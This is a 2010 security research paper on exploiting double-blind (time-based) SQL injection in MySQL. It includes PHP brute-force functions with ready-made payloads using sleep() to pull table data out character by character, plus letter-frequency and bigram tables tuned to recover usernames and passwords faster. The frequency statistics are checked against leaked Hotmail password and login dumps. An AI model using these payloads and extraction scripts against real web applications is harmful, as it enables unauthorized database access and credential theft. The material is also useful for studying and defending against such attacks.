Technique of quick Exploitation of 2blind SQL Injection









# Title: Technique of quick exploitation of 2blind SQL Injection
# Date: May 4th, 2010
# Author: Dmitry Evteev (Positive Technologies), Vladimir (D0znp) Voronzov (ONSec)
# Contacts: (Russian); (Russian)

In this paper, the quickest technique of double Blind SQL Injection exploitation are collected.

---=[ 0x01 ] Intro

SQL Injection vulnerabilities are often detected by analyzing error messages received from the  database, but 
sometimes we cannot exploit the discovered vulnerability using classic methods  (e.g., union). Until recently, we 
had to use boring slow techniques of symbol exhaustion in such cases. But is there any need to apply an ineffective 
approach, while we have the DBMS error message?!  It can be adapted for line-by-line reading of data from a
database or a file system, and this technique will be as easy as the classic SQL Injection exploitation. It is
foolish not to take advantage of such opportunity. 

To see the value of further materials, let us delve deeply into the terminology for a while. According to the 
exploitation technique, SQL Injection vulnerabilities can be divided into three groups:

1. Classical SQL Injection;
2. Blind SQL Injection;
2.1 Error-based blind SQL Injection;
2.2 Classical blind SQL Injection;
3. Double Blind SQL Injection (2Blind SQL Injection).

In the first place, classical exploitation of SQL Injection vulnerabilities provides an opportunity to merge two SQL 
queries for the purpose of obtaining additional data from a certain table. If it is possible to conduct a classical 
SQL Injection attack, then it becomes much easier to get useful information from the database management system (DBMS). 
Attack conduction using classic technique of SQL Injection exploitation involves application of the "union" operator or 
separation of SQL queries (semicolon, ";"). However, sometimes, it is impossible to exploit an SQL Injection 
vulnerability using this technique. In such cases, a blind method of vulnerability exploitation is applied.

A blind SQL Injection vulnerability appears in the following cases:

- an attacker is not able to control data showed to user as a result of vulnerable SQL request;
- injection gets into two different SELECT queries that in turn implement selection from tables with different numbers of columns;
- filtering of query concatenation is used (e.g. WAF).

Capabilities of Blind SQL Injection are comparable with those of classical SQL Injection technique. Just like the classical 
technique of exploitation, blind SQL Injection exploitation allows one to write and read files and get data from tables, 
only the entries are read symbol-by-symbol. Classical blind exploitation is based on analysis of true/false logical expression. 
If the expression is true, then the web application will return a certain content, and if it is false, the application will 
return another content.  If we consider the difference of outputs for true and false statements in the query, we will be able 
to conduct symbol-by-symbol search for data in a table or a file.
In some cases, Blind SQL Injection methods are also need in situations when an application returns an DBMS error message. 
Error-Based Blind SQL Injection is the quickest technique of SQL Injection exploitation. The essence of this method is that 
various DBMSs can place some valuable information (e.g. the database version) into the error messages in case of receiving 
illegal SQL expression. This technique can be used if any error of SQL expression processing occurred in the DBMS is returned 
back by the vulnerable application.

Sometimes not only all error messages are excluded from the page returned by the web application, but the vulnerable query itself 
and request results do not influence the returned page. For example, query used for some event logging or internal optimization. 
These SQL Injection vulnerabilities are separated into independent subtype - Double Blind SQL Injection. Exploitation of Double 
Blind SQL Injection vulnerabilities uses only time delays under SQL query processing; i.e., if an SQL query is executed immediately, 
it is false, but if it is executed with an N-second delay, then it is true. The described technique provides for symbol-by-symbol 
data reading only.

---=[ 0x02 ] Double Blind SQL Injection in MySQL

Exploitation of this group of SQL Injections is based on analysis of time delays from the moment of sending a query to the web 
application till the moment of receiving the answer from it. In classical approach, the function benchmark() is applied. However, 
the function sleep() represents a better and more secure alternative, because it doesn’t use processor resources of server as the 
function benchmark() does. Here is an example of a simple implementation of symbol-by-symbol search based on analysis of time delays.

function brute($column,$table,$lim)
	$ret_str = "";
	$b_str = "1234567890_abcdefghijklmnopqrstuvwxyz";
	$b_arr = str_split($b_str);
	for ($i=1;$i<100;$i++)
		print "[+] Brute $i symbol...\n";
		for ($j=0;$j<count($b_arr);$j++)
			$brute = ord($b_arr[$j]);
			$q = "/**/and/**/if((ord(lower(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))))=$brute,sleep(6),0)--";
			if (http_connect($q))
				print $b_arr[$j]."\n";
			print ".";
		if ($j == count($b_arr)) break;
	return $ret_str;

As one can see, alphabetical order is used in the array $b_srt to find data. The script sequentially checks every symbol from the array 
for coincidence with a symbol from the database. One can speed up the process by arranging the symbols in a more favourable order or using 
a binary tree. We should notice that to apply binary trees, it is necessary to use symbols ">" and "<", which is not always possible, because 
these symbols are often converted into HTML equivalents. Then, we still have a question – how can we find a "favorable" order of symbols being 
considered? Classical works in frequency analysis of Latin letters, which can be found in the Internet, suggest us a sequence starting with 
"e, t, a, o, n, i, s, h, r, d, l, u, c" ( If the letters are sorted according to this order, 
the number of requests sent to the web application will already decrease. However, we will go further.

---=[ 0x03 ] Not all letters are equally useful

Everything discussed above is correct, but we didn’t take into account one interesting fact: at every iteration step, we know the value of the 
previous symbol. This information is quite valuable and it is foolish not to use it. To conduct further statistical investigations, a library of 
5575 books written in English by various authors in different genres and of different sizes was downloaded ( The 
total data capacity is 2.15 GB, 1 761 822 605 Latin letters, or 379 009 003 English words. It was interesting to receive statistic information for 
the first letters of words. When appropriate statistic data was gathered, we obtained results that differ from the classical frequency analysis 
results. That the most popular letter to start English words with is "t"; this is the first letter for about 15% of words. First of all, it is 
because of abundance of article "the" in English texts. The next popular letter is "a", which holds the third place in the classical frequency model; 
nevertheless, the situation is still almost the same. It is much more interesting that letter "e", which is the most popular letter among all Latin 
letters in English, holds only the 16th place as the first letter of words. Thus, it is reasonable not to place this letter in the beginning of the 
array when searching, for example, for the first letter of a username. A contrary example is letter "w", which holds the 5th place among first 
letters of words, but is only 16th among all letters in words. Well, now when it became clearer with the first letter, let’s go further.

---=[ 0x04 ] Letter chains

Considering the language phonetics and syllables, we collected statistic data on two-letter combinations. This means that the probability with which one 
letter follows another one can be estimated. It’s as if letters clung to each other, this is why this technique can be called "letter chains". Such 
letter chains were collected from the whole library. Partial data is represented below. The value in the second column shows the number of two-letter 
combinations where the letter was following the given one. In the first column, the letter itself is given.

statistic of qX doubles:
a	862
c	11
b	34
e	134
d	10
g	2
f	18
i	186
h	30
k	1
j	3
m	22
l	29
o	235
n	34
q	384
p	13
s	174
r	163
u	1946692
t	61
w	60
v	166
y	56
x	25
z	12

statistic of wX doubles:
a	7786947
c	7341
b	24494
e	5872056
d	87405
g	3101
f	43828
i	6637324
h	7132332
k	28453
j	53
m	10103
l	230650
o	3988540
n	1486013
q	24
p	7517
s	482819
r	466381
u	27051
t	27903
w	82956
v	155
y	50550
x	8
z	348

Does it seem to be too tedious and not very useful? To understand how useful it is in fact, it is necessary to test the letter chains technique by 
experience. Two databases available from the Internet served as testing sets: the database of passwords of Hotmail users (about 10000 records) and 
the database of user logins from (about 70000 records). For each database, analogous letter chains were generated and the 
results were compared with those for the book library; the statistic data coincided in dynamics. There is no sense in representing all 26 diagrams 
here, so let us confine ourselves to giving two of them – for letters "a" and "s", which are in the top five of the most popular first letters of 
logins, passwords, and book words. Similarity of statistic data for passwords, logins, and book words is obvious. It can be also seen that logins are 
statistically more similar to book words than passwords are. Considering everything that was proposed and tested above, we can obtain a new 
statistically valid function to exploit Double blind SQL Injection:

function brute($column,$table,$lim)
	$ret_str = "";
	$b_str = "tashwiobmcfdplnergyuvkjqzx_1234567890";
	$b_arr = str_split($b_str);
	for ($i=1;$i<100;$i++)
			switch ($last_ltr){
				case "q": { $b_arr = str_split("uaqoisvretwybnhlxmfpzcdjgk_1234567890");}
				case "w": { $b_arr = str_split("ahieonsrldwyfktubmpcgzvjqx_1234567890");}
				case "e": { $b_arr = str_split("rndsaletcmvyipfxwgoubqhkzj_1234567890");}
				case "r": { $b_arr = str_split("eoiastydnmrugkclvpfbhwqzjx_1234567890");}
				case "t": { $b_arr = str_split("hoeiartsuylwmcnfpzbgdjkxvq_1234567890");}
				case "y": { $b_arr = str_split("oesitamrlnpbwdchfgukzvxjyq_1234567890");}
				case "u": { $b_arr = str_split("trsnlgpceimadbfoxkvyzwhjuq_1234567890");}
				case "i": { $b_arr = str_split("ntscolmedrgvfabpkzxuijqhwy_1234567890");}
				case "o": { $b_arr = str_split("nurfmtwolspvdkcibaeygjhxzq_1234567890");}
				case "p": { $b_arr = str_split("eroaliputhsygmwbfdknczjvqx_1234567890");}
				case "l": { $b_arr = str_split("eliayodusftkvmpwrcbgnhzqxj_1234567890");}
				case "k": { $b_arr = str_split("einslayowfumrhtkbgdcvpjzqx_1234567890");}
				case "j": { $b_arr = str_split("euoainkdlfsvztgprhycmjxwbq_1234567890");}
				case "h": { $b_arr = str_split("eaioturysnmlbfwdchkvqpgzjx_1234567890");}
				case "g": { $b_arr = str_split("ehroaiulsngtymdwbfpzkxcvjq_1234567890");}
				case "f": { $b_arr = str_split("oeriafutlysdngmwcphjkbzvqx_1234567890");}
				case "d": { $b_arr = str_split("eioasruydlgnvmwfhjtcbkpqzx_1234567890");}
				case "s": { $b_arr = str_split("tehiosaupclmkwynfbqdgrvjzx_1234567890");}
				case "a": { $b_arr = str_split("ntrsldicymvgbpkuwfehzaxjoq_1234567890");}
				case "z": { $b_arr = str_split("eiaozulywhmtvbrsgkcnpdjfqx_1234567890");}
				case "x": { $b_arr = str_split("ptcieaxhvouqlyfwbmsdgnzrkj_1234567890");}
				case "c": { $b_arr = str_split("oheatikrlucysqdfnzpmgxbwvj_1234567890");}
				case "v": { $b_arr = str_split("eiaoyrunlsvdptjgkhcmbfwzxq_1234567890");}
				case "b": { $b_arr = str_split("euloyaristbjmdvnhwckgpfzxq_1234567890");}
		print "[+] Brute $i symbol...\n";
		for ($j=0;$j<count($b_arr);$j++)
			$brute = ord($b_arr[$j]);
			$q = "/**/and/**/if((ord(lower(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))))=$brute,sleep(6),0)--";
			if (http_connect($q))
				print $b_arr[$j]."\n";
			print ".";
		if ($j == count($b_arr)) break;
	return $ret_str;

---=[ 0x05 ] Reference (Russian) (Russian)